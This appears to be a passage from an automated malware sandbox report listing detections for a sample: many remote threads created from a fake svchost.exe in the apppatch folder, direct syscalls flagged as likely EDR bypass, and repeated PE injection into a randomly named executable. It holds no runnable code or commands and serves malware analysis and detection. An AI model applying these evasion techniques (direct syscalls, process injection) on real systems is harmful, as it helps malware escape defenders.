Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1541360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1071360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1471360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1221360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 9B1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 601360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: FE1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 941360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: F71360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1571360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 10E1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1221360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1251360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 11B1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: AC1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1401360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 14A1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1021360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1191360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1551360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: A21360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: CB1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 11A1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1341360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1581360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: E11360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: FD1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 881360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: A51360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: DF1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: E91360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 9F1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1461360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 13A1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 15D1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1381360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 621360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1201360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1591360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1441360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: FF1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 10D1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: F61360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: B91360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: D61360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1321360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 601360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: DB1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: A31360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1001360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: F21360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 861360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 9D1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 11D1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 871360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: D71360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 811360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 8D1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: AD1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1211360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1171360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: DB1360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 1091360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: A01360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 781360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 921360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 861360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: 841360	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Thread created: unknown EIP: AC1360	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtResumeThread: Direct from: 0x773836AC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtMapViewOfSection: Direct from: 0x77382D1C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtProtectVirtualMemory: Direct from: 0x77382F9C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtSetInformationThread: Direct from: 0x773763F9
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtUnmapViewOfSection: Direct from: 0x77382D3C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtCreateMutant: Direct from: 0x773835CC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtNotifyChangeKey: Direct from: 0x77383C2C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtSetInformationProcess: Direct from: 0x77382C5C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQueryInformationProcess: Direct from: 0x77382C26
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtEnumerateKey: Direct from: 0x77382DBC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtAllocateVirtualMemory: Direct from: 0x77383C9C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtAllocateVirtualMemory: Direct from: 0x77382BFC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtWriteFile: Direct from: 0x77382AFC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtDelayExecution: Direct from: 0x77382DDC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQuerySystemInformation: Direct from: 0x77382DFC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtOpenSection: Direct from: 0x77382E0C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQueryVolumeInformationFile: Direct from: 0x77382F2C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtSetInformationFile: Direct from: 0x77382D0C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQuerySystemInformation: Direct from: 0x773848CC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtCreateKey: Direct from: 0x77382C6C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtClose: Direct from: 0x77382B6C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQueryAttributesFile: Direct from: 0x77382E6C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtSetInformationThread: Direct from: 0x77382B4C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQuerySystemInformation: Direct from: 0x1C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtTerminateThread: Direct from: 0x77382FCC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtSetInformationThread: Direct from: 0x77382ECC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQueryInformationToken: Direct from: 0x77382CAC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtAllocateVirtualMemory: Direct from: 0x77382B9C
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQueryValueKey: Direct from: 0x77382BEC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtDeviceIoControlFile: Direct from: 0x77382AEC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtCreateFile: Direct from: 0x77382FEC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtOpenFile: Direct from: 0x77382DCC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtEnumerateValueKey: Direct from: 0x77382BAC
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtSetTimerEx: Direct from: 0x77377B2E
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	NtQueueApcThread: Direct from: 0x77382EEC

Injects a PE file into a foreign processes

Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11E2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9C2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2EA2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AF2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11D2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2AB2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 24F2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2E82000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 25F2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 2672000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1552000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CD2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1542000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1072000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1472000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1222000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9B2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 602000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 942000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F72000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1572000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10E2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1222000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1252000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11B2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1402000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14A2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1022000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1192000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1552000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A22000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CB2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11A2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1342000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1582000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E12000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FD2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 882000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A52000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DF2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E92000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9F2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1462000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13A2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15D2000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1382000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 622000 value starts with: 4D5A	Jump to behavior
